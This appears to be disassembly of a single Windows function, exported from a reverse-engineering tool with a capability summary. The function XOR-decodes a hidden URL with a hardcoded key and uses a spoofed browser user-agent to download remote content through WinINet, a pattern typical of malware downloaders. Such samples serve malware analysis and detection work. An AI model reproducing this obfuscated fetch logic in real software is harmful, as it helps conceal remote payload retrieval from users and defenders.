Function at 0x1400016b0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xfd0]
mov eax, 0x10d0
call fcn.140015c80
sub rsp, rax
mov rax, qword [0x14004c088]
xor rax, rsp
mov qword [rbp + 0xfc0], rax
mov rsi, rcx
mov qword [rsp + 0x70], rcx
xor ebx, ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
jne 0x140001724
lea ecx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0x30]
call fcn.1400014f0
mov r9, rax
cmp byte [rax + 0x52], bl
je 0x14000178c
lea r8, [rax + 1]
mov r10, 0xffffffffffffffff
sub r10, rax
movabs r11, 0x7fd3adb181e15bed
nop
lea ecx, [r8 + r10]
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8 - 1], dl
movzx ecx, r8b
sub cl, r9b
and cl, 7
shl cl, 3
mov rdx, r11
shr rdx, cl
xor byte [r8], dl
add r8, 2
lea rax, [r10 + r8]
cmp rax, 0x52
jb 0x140001750
mov byte [r9 + 0x52], bl
lea rax, [0x1400374bc]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 4
mov qword [rsp + 0x60], r9
lea rax, str.0406
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x58], xmm1
mov qword [rsp + 0x60], 0xcc
lea rax, [rbp - 0x68]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140014580
mov dword [rsp + 0x38], 2
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000186f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000186a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019b2
call fcn.1400156a8
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], bl
test r14, r14
jne 0x1400018bb
lea rdx, str.request_failed
lea rcx, [rsp + 0x40]
call fcn.140001070
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140001230
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsi], rbx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 0xf
mov byte [rsi], bl
mov dword [rsp + 0x38], 3
mov dword [rsp + 0x34], ebx
lea r9, [rsp + 0x34]
mov r8d, 0x1000
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001971
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140001971
mov ebx, eax
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x14000193e
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x140001925
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, rbx
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.140016930
mov byte [rdi + rbx], 0
jmp 0x140001955
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x40]
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.1400010a0
lea r9, [rsp + 0x34]
mov r8d, 0x1000
lea rdx, [rbp - 0x40]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400018f4
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rsi
mov rcx, qword [rbp + 0xfc0]
xor rcx, rsp
call fcn.140015ce0
lea r11, [rsp + 0x10d0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001be04
int3